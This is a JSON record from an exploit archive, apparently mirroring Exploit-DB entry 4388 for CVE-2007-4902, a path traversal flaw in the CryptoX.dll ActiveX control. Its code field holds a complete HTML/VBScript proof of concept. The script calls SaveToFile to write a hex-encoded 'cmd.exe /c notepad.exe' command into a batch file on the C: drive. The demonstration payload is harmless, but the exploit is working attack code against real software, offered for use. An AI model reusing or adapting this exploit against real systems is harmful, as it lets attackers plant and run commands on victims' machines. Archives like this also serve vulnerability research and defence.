{"exploit":{"id":"EDB-4388","name":"Ultra Crypto Component - 'CryptoX.dll 2.0 SaveToFile()' Insecure Method","description":"Ultra Crypto Component - 'CryptoX.dll 2.0 SaveToFile()' Insecure Method","cves":["CVE-2007-4902"],"author":"shinnai","published":"2007-09-10","platform":"windows","type":"remote","language":"HTML","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4388","path":"exploits/windows/remote/4388.html","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4388.html","vulnerabilities":[{"id":"CVE-2007-4902","state":"PUBLISHED","title":null,"titleSource":null,"description":"Absolute path traversal vulnerability in a certain ActiveX control in CryptoX.dll 2.0 and earlier in the Ultra Crypto Component allows remote attackers to write to arbitrary files via a full pathname in the argument to the SaveToFile method.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-4902","cvss":{"version":"2.0","baseScore":6.4,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-4902"},"updatedAt":"2024-08-07T15:08:34.142Z","retrievedAt":"2026-11-26T19:09:37.839Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4388.png?v=2","url":"https://exploitbin.com/exploits/EDB-4388","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4388/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4388/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<pre>\n<code><span style=\"font: 10pt Courier New;\"><span class=\"general1-symbol\"><body bgcolor=\"#E0E0E0\">-------------------------------------------------------------------------------------\n <b>Ultra Crypto Component (CryptoX.dll <= 2.0) \"SaveToFile()\" Inscure Method</b>\n url: http://www.ultrashareware.com/\n\n author: shinnai\n mail: shinnai[at]autistici[dot]org\n site: http://shinnai.altervista.org\n\n This was written for educational purpose. Use it at your own risk.\n Author will be not responsible for any damage.\n\n Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7\n all software that use this ocx are vulnerable to this exploits.\n\n <b>We can use the \"HexString()\" method to save into our batch file some lines.\n In this PoC, I convert \"cmd.exe /c notepad.exe\" in hexadecimal format, then\n I save it in a batch file :)</b>\n-------------------------------------------------------------------------------------\n\n<object classid='clsid:FD22F3AE-1450-4BDC-ADBE-6AF210A78C2C' id='test'></object>\n\n<input language=VBScript onclick=tryMe() type=button value=\"Click here to start the test\">\n\n<script language='vbscript'>\n Sub tryMe\n  Dim MyMsg\n   test.HexString = \"636D642E657865202F63206E6F74657061642E657865\" 'cmd.exe /c notepad.exe\n   test.SaveToFile \"c:\\shinnai.bat\"\n   MyMsg = MsgBox(\"Exploit completed!\")\n End Sub\n</script>\n</span></span>\n\n</code></pre>\n\n# milw0rm.com [2007-09-10]","sha256":"8b2779831b80687edfd5fdc68770ac0b2b3d80ac665c06e97a6853169785165a","bytes":1408,"fetchedAt":"2026-11-26T19:09:36.117Z","encoding":"utf-8 (display only; download retains original bytes)"}